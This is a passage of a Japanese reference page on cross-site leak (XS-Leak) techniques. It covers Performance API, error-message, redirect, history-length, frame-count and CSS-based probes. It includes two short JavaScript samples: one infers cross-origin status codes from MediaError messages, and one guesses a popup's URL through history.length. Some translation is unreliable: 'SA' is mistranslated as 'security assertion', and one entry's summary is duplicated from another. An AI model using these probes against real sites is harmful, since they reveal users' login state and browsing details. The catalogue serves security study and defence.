* **Inclusion Methods**: フレーム
* **Detectable Difference**: ヘッダー
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Summary:** X-Frame-Optionsヘッダーを持つリソースはリソースタイミングエントリを作成しません。
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

ページが**iframe内でのレンダリングを許可されていない**場合、**パフォーマンスエントリを作成しません**。その結果、攻撃者は応答ヘッダー**`X-Frame-Options`**を検出できます。\
**embed** **タグ**を使用した場合も同様です。

### ダウンロード検出

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ヘッダー
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** ダウンロードはPerformance APIにリソースタイミングエントリを作成しません。
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)

前述のXS-Leakと同様に、**ContentDispositionヘッダーのためにダウンロードされるリソース**も**パフォーマンスエントリを作成しません**。この技術はすべての主要なブラウザで機能します。

### リダイレクト開始リーク

* **Inclusion Methods**: フレーム
* **Detectable Difference**: リダイレクト
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** リソースタイミングエントリはリダイレクトの開始時間を漏洩します。
* **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)

クロスオリジンリクエストに関する過剰な情報を記録する一部のブラウザの動作を悪用するXS-Leakのインスタンスが見つかりました。標準では、クロスオリジンリソースに対してゼロに設定されるべき属性のサブセットが定義されています。しかし、**SA**では、ターゲットページによってユーザーが**リダイレクト**されたかどうかを、**Performance API**を照会し、**redirectStartタイミングデータ**を確認することで検出できます。

### 持続時間リダイレクトリーク

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: リダイレクト
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** リダイレクトが発生した場合、タイミングエントリの持続時間は負になります。
* **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)

GCでは、**リダイレクト**を引き起こすリクエストの**持続時間**は**負**であり、したがって**リダイレクトを引き起こさないリクエスト**と区別できます。

### CORPリーク

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ヘッダー
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** CORPで保護されたリソースはリソースタイミングエントリを作成しません。
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)

いくつかのケースでは、**nextHopProtocolエントリ**を漏洩技術として使用できます。GCでは、**CORPヘッダー**が設定されている場合、nextHopProtocolは**空**になります。CORP対応リソースに対しては、SAはパフォーマンスエントリをまったく作成しません。

### サービスワーカー

* **Inclusion Methods**: フレーム
* **Detectable Difference**: API使用
* **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Summary:** 特定のオリジンに対してサービスワーカーが登録されているかどうかを検出します。
* **Code Example**:

サービスワーカーは、オリジンで実行されるイベント駆動型スクリプトコンテキストです。彼らはウェブページのバックグラウンドで実行され、リソースをインターセプト、変更、および**キャッシュ**してオフラインウェブアプリケーションを作成できます。\
**サービスワーカー**によって**キャッシュされたリソース**が**iframe**を介してアクセスされると、そのリソースは**サービスワーカーキャッシュから読み込まれます**。\
リソースが**サービスワーカー**キャッシュから**読み込まれたかどうかを検出するために、**Performance API**を使用できます。\
これもタイミング攻撃で行うことができます（詳細については論文を参照してください）。

### キャッシュ

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: タイミング
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Summary:** リソースがキャッシュに保存されているかどうかを確認できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))

[Performance API](xs-search.md#performance-api)を使用して、リソースがキャッシュされているかどうかを確認できます。

### ネットワーク持続時間

* **Inclusion Methods**: Fetch API
* **Detectable Difference**: ページコンテンツ
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Summary:** `performance` APIからリクエストのネットワーク持続時間を取得できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)

## エラーメッセージ技術

### メディアエラー

* **Inclusion Methods**: HTML要素（ビデオ、オーディオ）
* **Detectable Difference**: ステータスコード
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Summary:** Firefoxでは、クロスオリジンリクエストのステータスコードを正確に漏洩させることが可能です。
* **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}
```
The `MediaError`インターフェースのメッセージプロパティは、成功裏に読み込まれたリソースを一意に識別する特異な文字列を持っています。攻撃者はこの機能を利用して、メッセージの内容を観察することで、クロスオリジンリソースの応答ステータスを推測することができます。

### CORSエラー

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要:** セキュリティアサーション（SA）において、CORSエラーメッセージは意図せずリダイレクトされたリクエストの完全なURLを露出します。
* **コード例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)

この技術により、攻撃者は**クロスオリジンサイトのリダイレクトの宛先を抽出**することができます。具体的には、**CORS対応リクエスト**がユーザーの状態に基づいてリダイレクトを発行するターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、**リダイレクトのターゲットの完全なURL**がエラーメッセージ内に開示されます。この脆弱性は、リダイレクトの事実を明らかにするだけでなく、リダイレクトのエンドポイントや含まれる可能性のある**機密のクエリパラメータ**も露出します。

### SRIエラー

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **概要:** セキュリティアサーション（SA）において、CORSエラーメッセージは意図せずリダイレクトされたリクエストの完全なURLを露出します。
* **コード例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)

攻撃者は**冗長なエラーメッセージ**を利用して、クロスオリジンの応答のサイズを推測することができます。これは、サブリソース整合性（SRI）のメカニズムによるもので、整合性属性を使用して、CDNから取得されたリソースが改ざんされていないことを検証します。SRIがクロスオリジンリソースで機能するためには、これらが**CORS対応**である必要があります。そうでなければ、整合性チェックの対象にはなりません。セキュリティアサーション（SA）において、CORSエラーXSリークと同様に、整合性属性を持つフェッチリクエストが失敗した後にエラーメッセージをキャプチャできます。攻撃者は、任意のリクエストの整合性属性に**偽のハッシュ値**を割り当てることで、このエラーを意図的に**トリガー**できます。SAでは、結果として得られるエラーメッセージが、要求されたリソースのコンテンツ長を意図せず明らかにします。この情報漏洩により、攻撃者は応答サイズの変動を識別でき、洗練されたXSリーク攻撃への道を開きます。

### CSP違反/検出

* **インクルージョンメソッド**: ポップアップ
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **概要:** CSPで被害者のウェブサイトのみを許可すると、他のドメインにリダイレクトしようとした場合、CSPが検出可能なエラーをトリガーします。
* **コード例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)

XSリークは、CSPを使用してクロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出できます。このリークはリダイレクトを検出できますが、さらにリダイレクトターゲットのドメインも漏洩します。この攻撃の基本的なアイデアは、**攻撃者サイトでターゲットドメインを許可する**ことです。ターゲットドメインにリクエストが発行されると、それは**クロスオリジンドメインにリダイレクト**します。**CSPは**そのアクセスをブロックし、**リーク技術として使用される違反レポートを作成します**。ブラウザによっては、**このレポートがリダイレクトのターゲットの場所を漏洩する可能性があります**。\
最新のブラウザは、リダイレクト先のURLを示しませんが、クロスオリジンリダイレクトがトリガーされたことを検出することはできます。

### キャッシュ

* **インクルージョンメソッド**: フレーム、ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **概要:** キャッシュからファイルをクリアします。ターゲットページを開き、ファイルがキャッシュに存在するかどうかを確認します。
* **コード例:**

ブラウザは、すべてのウェブサイトに対して1つの共有キャッシュを使用する場合があります。オリジンに関係なく、ターゲットページが**特定のファイルを要求したかどうかを推測することが可能です**。

ページがユーザーがログインしている場合にのみ画像を読み込む場合、**リソースを無効にする**（キャッシュされていない場合は、詳細情報リンクを参照）ことができ、**そのリソースを読み込むリクエストを実行し**、**不正なリクエストでリソースを読み込もうとします**（例：過剰なリファラーヘッダーを使用）。リソースの読み込みが**エラーをトリガーしなかった場合**、それは**キャッシュされていた**からです。

### CSPディレクティブ

* **インクルージョンメソッド**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **概要:** CSPヘッダーディレクティブは、CSP iframe属性を使用してプローブされ、ポリシーの詳細が明らかになります。
* **コード例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)

Google Chrome（GC）の新機能により、ウェブページはiframe要素に属性を設定することで**コンテンツセキュリティポリシー（CSP）を提案**でき、ポリシーディレクティブがHTTPリクエストと共に送信されます。通常、埋め込まれたコンテンツは**これをHTTPヘッダーを介して承認する必要があります**。さもなければ、**エラーページが表示されます**。ただし、iframeがすでにCSPによって管理されており、新たに提案されたポリシーがより制限的でない場合、ページは通常通り読み込まれます。このメカニズムは、攻撃者がエラーページを特定することによって、クロスオリジンページの**特定のCSPディレクティブを検出する**ための道を開きます。この脆弱性は修正されたとされていますが、私たちの調査結果は、エラーページを検出できる**新しいリーク技術**を明らかにしており、根本的な問題が完全には解決されていないことを示唆しています。

### **CORP**

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **概要:** クロスオリジンリソースポリシー（CORP）で保護されたリソースは、許可されていないオリジンから取得されるとエラーを発生させます。
* **コード例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)

CORPヘッダーは比較的新しいウェブプラットフォームのセキュリティ機能で、設定されると**指定されたリソースへのノーコルスクロスオリジンリクエストをブロックします**。ヘッダーの存在は検出可能で、CORPで保護されたリソースは**取得されるとエラーを発生させます**。

### CORB

* **インクルージョンメソッド**: HTML要素
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **概要**: CORBは、**`nosniff`ヘッダーがリクエストに存在するかどうかを攻撃者が検出できる**ようにします。
* **コード例**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)

攻撃についての詳細情報はリンクを確認してください。

### オリジンリフレクションの誤設定におけるCORSエラー <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **概要**: Originヘッダーが`Access-Control-Allow-Origin`ヘッダーに反映されている場合、リソースがすでにキャッシュに存在するかどうかを確認できます。
* **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)

**Originヘッダー**が`Access-Control-Allow-Origin`ヘッダーに**反映されている**場合、攻撃者はこの動作を悪用して**CORSモードでリソースを取得しようとする**ことができます。**エラー**が**トリガーされない**場合、それは**ウェブから正しく取得された**ことを意味します。エラーが**トリガーされる**場合、それは**キャッシュからアクセスされた**ことを意味します（エラーは、キャッシュが元のドメインを許可するCORSヘッダーを持つ応答を保存し、攻撃者のドメインを許可しないために発生します）。\
オリジンが反映されていないがワイルドカードが使用されている場合（`Access-Control-Allow-Origin: *`）、これは機能しません。

## 読み取り可能な属性技術

### フェッチリダイレクト

* **インクルージョンメソッド**: Fetch API
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **概要:** GCとSAは、リダイレクトが完了した後に応答のタイプ（opaque-redirect）を確認できます。
* **コード例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)

`redirect: "manual"`および他のパラメータを使用してFetch APIを介してリクエストを送信すると、`response.type`属性を読み取ることができ、`opaqueredirect`と等しい場合、応答はリダイレクトでした。

### COOP

* **インクルージョンメソッド**: ポップアップ
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **概要:** クロスオリジンオープナーポリシー（COOP）で保護されたページは、クロスオリジンの相互作用からのアクセスを防ぎます。
* **コード例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)

攻撃者は、クロスオリジンHTTP応答におけるクロスオリジンオープナーポリシー（COOP）ヘッダーの存在を推測することができます。COOPは、外部サイトが任意のウィンドウ参照を取得するのを妨げるためにウェブアプリケーションによって使用されます。このヘッダーの可視性は、**`contentWindow`参照にアクセスしようとすることで判断できます**。COOPが条件付きで適用されるシナリオでは、**`opener`プロパティ**が明白な指標となります：COOPが有効な場合は**未定義**であり、無効な場合は**定義されています**。

### URL最大長 - サーバーサイド

* **インクルージョンメソッド**: Fetch API、HTML要素
* **検出可能な違い**: ステータスコード / コンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **概要:** リダイレクト応答の長さが大きすぎるため、サーバーがエラーで再生し、アラートが生成されることによる応答の違いを検出します。
* **コード例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)

サーバーサイドリダイレクトが**リダイレクション内でユーザー入力を使用し**、**追加データ**を持つ場合、この動作を検出することが可能です。通常、**サーバー**には**リクエスト長の制限**があります。もし**ユーザーデータ**がその**長さ - 1**であれば、**リダイレクト**が**そのデータを使用し**、**何かを追加**しているため、**エラーがトリガーされます**（エラーは、リダイレクトがそのデータを使用しているために発生します）。\
ユーザーにクッキーを設定できる場合、**十分なクッキーを設定することによって**この攻撃を実行することもできます（[**クッキーボム**](hacking-with-cookies/cookie-bomb.md)）。その結果、**正しい応答のサイズが増加し**、**エラーがトリガーされます**。この場合、同じサイトからこのリクエストをトリガーすると、`<script>`が自動的にクッキーを送信するため（エラーを確認できます）。\
**クッキーボム + XS-Search**の例は、この書き込みの意図された解決策に見つけることができます: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)

`SameSite=None`または同じコンテキストにいることが、この種の攻撃には通常必要です。

### URL最大長 - クライアントサイド

* **インクルージョンメソッド**: ポップアップ
* **検出可能な違い**: ステータスコード / コンテンツ
* **詳細情報**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **概要:** リダイレクト応答の長さがリクエストに対して大きすぎるため、違いが認識される可能性があります。
* **コード例**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)

[Chromiumのドキュメント](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length)によると、Chromeの最大URL長は2MBです。

> 一般的に、_ウェブプラットフォーム_にはURLの長さに制限はありません（ただし、2^31は一般的な制限です）。_Chrome_は、実用的な理由とプロセス間通信におけるサービス拒否問題を回避するために、URLを最大**2MB**に制限しています。

したがって、**リダイレクトURLの応答が一方のケースで大きい場合**、**2MBを超えるURLでリダイレクトさせる**ことが可能です。これが発生すると、Chromeは**`about:blank#blocked`**ページを表示します。

**顕著な違い**は、**リダイレクト**が**完了した**場合、`window.origin`が**エラーをスロー**することです。なぜなら、クロスオリジンはその情報にアクセスできないからです。しかし、**制限**が**ヒット**し、読み込まれたページが**`about:blank#blocked`**であった場合、ウィンドウの**`origin`**は**親**のものであり、これは**アクセス可能な情報**です。

**2MB**に到達するために必要なすべての追加情報は、最初のURLに**ハッシュ**を追加することで追加できるため、**リダイレクトで使用されます**。

{% content-ref url="xs-search/url-max-length-client-side.md" %}
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
{% endcontent-ref %}

### 最大リダイレクト

* **インクルージョンメソッド**: Fetch API、フレーム
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
* **概要:** ブラウザのリダイレクト制限を使用して、URLリダイレクトの発生を確認します。
* **コード例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)

ブラウザの**最大**リダイレクト数が**20**の場合、攻撃者は**19のリダイレクト**で自分のページを読み込もうとし、最終的に**被害者をテストされたページに送信**します。**エラー**がトリガーされる場合、そのページは**被害者をリダイレクトしようとしていた**ことになります。

### 履歴の長さ

* **インクルージョンメソッド**: フレーム、ポップアップ
* **検出可能な違い**: リダイレクト
* **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
* **概要:** JavaScriptコードがブラウザの履歴を操作し、長さプロパティによってアクセスできます。
* **コード例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)

**History API**は、JavaScriptコードがブラウザの履歴を操作できるようにし、**ユーザーが訪れたページを保存します**。攻撃者は、インクルージョンメソッドとして長さプロパティを使用できます：JavaScriptとHTMLのナビゲーションを検出するために。\
**`history.length`を確認し**、ユーザーに**ページに移動させ**、**同じオリジンに戻し**、**`history.length`の新しい値を確認します**。

### 同じURLでの履歴の長さ

* **インクルージョンメソッド**: フレーム、ポップアップ
* **検出可能な違い**: URLが推測したものと同じかどうか
* **概要:** 履歴の長さを悪用して、フレーム/ポップアップの位置が特定のURLにあるかどうかを推測できます。
* **コード例**: 以下

攻撃者はJavaScriptコードを使用して、**フレーム/ポップアップの位置を推測したものに操作し**、**すぐに**それを**`about:blank`に変更**することができます。履歴の長さが増加した場合、それはURLが正しかったことを意味し、**同じであればURLは再読み込みされないため**、増加する時間がありました。増加しなかった場合、それは**推測したURLを読み込もうとした**が、**すぐに**`about:blank`を読み込んだため、**推測したURLを読み込む際に履歴の長さは増加しなかった**ことを意味します。
```javascript
async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));
```
### フレームカウント

* **インクルージョンメソッド**: フレーム、ポップアップ
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **概要:** `window.length` プロパティを調査して iframe 要素の数を評価します。
* **コード例**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)

`iframe` または `window.open` を介して開かれた **ウェブのフレームの数**をカウントすることで、そのページ上の **ユーザーの状態**を特定するのに役立つかもしれません。\
さらに、ページが常に同じ数のフレームを持っている場合、フレームの数を **継続的に**確認することで、情報が漏洩する可能性のある **パターン**を特定するのに役立つかもしれません。

この技術の例として、Chromeでは、**PDF**が**フレームカウント**で**検出**されることがあります。なぜなら、内部で `embed` が使用されているからです。`zoom`、`view`、`page`、`toolbar` などのコンテンツに対する制御を許可する [オープンURLパラメータ](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) があり、この技術が興味深い場合があります。

### HTMLElements

* **インクルージョンメソッド**: HTML要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **概要:** 漏洩した値を読み取って、2つの可能な状態を区別します。
* **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)

HTML要素を通じた情報漏洩は、特にユーザー情報に基づいて動的メディアファイルが生成される場合や、メディアサイズを変更する透かしが追加される場合に、ウェブセキュリティの懸念事項です。攻撃者は、特定のHTML要素によって露出された情報を分析することで、可能な状態を区別するためにこれを悪用することができます。

### HTML要素によって露出された情報

* **HTMLMediaElement**: この要素はメディアの `duration` と `buffered` 時間を明らかにし、APIを介してアクセスできます。[HTMLMediaElementについての詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
* **HTMLVideoElement**: `videoHeight` と `videoWidth` を露出します。一部のブラウザでは、`webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount`、および `webkitDecodedFrameCount` などの追加プロパティが利用可能で、メディアコンテンツに関するより詳細な情報を提供します。[HTMLVideoElementについての詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
* **getVideoPlaybackQuality()**: この関数は、`totalVideoFrames` を含むビデオ再生品質に関する詳細を提供し、処理されたビデオデータの量を示すことができます。[getVideoPlaybackQuality()についての詳細](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
* **HTMLImageElement**: この要素は画像の `height` と `width` を漏洩します。ただし、画像が無効な場合、これらのプロパティは0を返し、`image.decode()` 関数は拒否され、画像が正しく読み込まれなかったことを示します。[HTMLImageElementについての詳細](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)

### CSSプロパティ

* **インクルージョンメソッド**: HTML要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **概要:** ユーザーの状態やステータスに関連するウェブサイトのスタイリングの変化を特定します。
* **コード例**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)

ウェブアプリケーションは、ユーザーの状態に応じて **ウェブサイトのスタイリングを変更する**ことがあります。クロスオリジンのCSSファイルは、**HTMLリンク要素**を使用して攻撃者のページに埋め込むことができ、**ルール**は攻撃者のページに**適用されます**。ページがこれらのルールを動的に変更する場合、攻撃者はユーザーの状態に応じてこれらの**違い**を**検出**できます。\
漏洩技術として、攻撃者は `window.getComputedStyle` メソッドを使用して特定のHTML要素の **CSS** プロパティを**読み取る**ことができます。その結果、影響を受ける要素とプロパティ名が知られている場合、攻撃者は任意のCSSプロパティを読み取ることができます。

### CSS履歴

* **インクルージョンメソッド**: HTML要素
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **概要:** `:visited` スタイルがURLに適用されているかどうかを検出し、すでに訪問されたことを示します。
* **コード例**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)

{% hint style="info" %}
[**これ**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)によると、これはヘッドレスChromeでは機能しません。
{% endhint %}

CSSの `:visited` セレクタは、ユーザーが以前に訪問した場合にURLを異なるスタイルで装飾するために使用されます。過去には、`getComputedStyle()` メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実施しています。これらの対策には、リンクが訪問されたかのように常に計算されたスタイルを返し、`:visited` セレクタで適用できるスタイルを制限することが含まれます。

これらの制限にもかかわらず、リンクの訪問状態を間接的に見分けることは可能です。1つの技術は、ユーザーをCSSに影響を与える領域に対話させることを含み、特に `mix-blend-mode` プロパティを利用します。このプロパティは、要素とその背景をブレンドすることを可能にし、ユーザーの対話に基づいて訪問状態を明らかにする可能性があります。

さらに、ユーザーの対話なしでリンクのレンダリングタイミングを利用して検出を行うことができます。ブラウザは訪問済みリンクと未訪問リンクを異なる方法でレンダリングする可能性があるため、これによりレンダリングの時間差が生じることがあります。概念実証（PoC）は、Chromiumのバグ報告で言及されており、複数のリンクを使用してタイミングの違いを増幅させ、訪問状態をタイミング分析を通じて検出可能にするこの技術を示しています。

これらのプロパティとメソッドの詳細については、ドキュメントページを訪れてください：

* `:visited`: [MDNドキュメント](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
* `getComputedStyle()`: [MDNドキュメント](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
* `mix-blend-mode`: [MDNドキュメント](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)

### ContentDocument X-Frame漏洩

* **インクルージョンメソッド**: フレーム
